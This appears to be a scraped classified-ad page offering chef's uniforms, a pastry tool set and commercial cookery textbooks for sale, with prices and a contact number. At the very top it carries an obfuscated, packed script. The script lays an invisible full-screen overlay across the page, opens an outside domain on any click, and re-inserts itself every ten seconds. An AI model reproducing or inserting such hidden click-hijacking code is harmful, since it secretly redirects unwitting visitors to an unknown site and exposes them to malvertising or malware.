<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>FOR SALEChefs Uniforms Apron- size “Medium”Flat Top hatTrousers – size “Medium”Chef’s jacket –“Medium”Clog - 40’’
Price $ 90.00 (The Lot) Patissiere Tool set :
$200.00Textbooks for sale below:Stage-1:The Road to hospitality 3nd edition
$30.00 Clean & Maintain Premises
$14.00Receive & Store Stock
$14.00Organise & Prepare Food /Methods of Cookery
$30.00Appetisers, Salad & Sandwiches/Stock Soup & Sauce Series 3
$35.00Stage-2:(For commercial cookery)Vegetable ,eggs and farinaceous
$35.00Stage-3: (For commercial cookery)Plan & control Menu Based Catering (Theory)
$28.00Select, Prepare &Cook meat/Poultry &Game (Practical)
$30.00Buffet &Larder & Special Diets/Catering Control(Practical)
$30.00
Call: 0431296400 |
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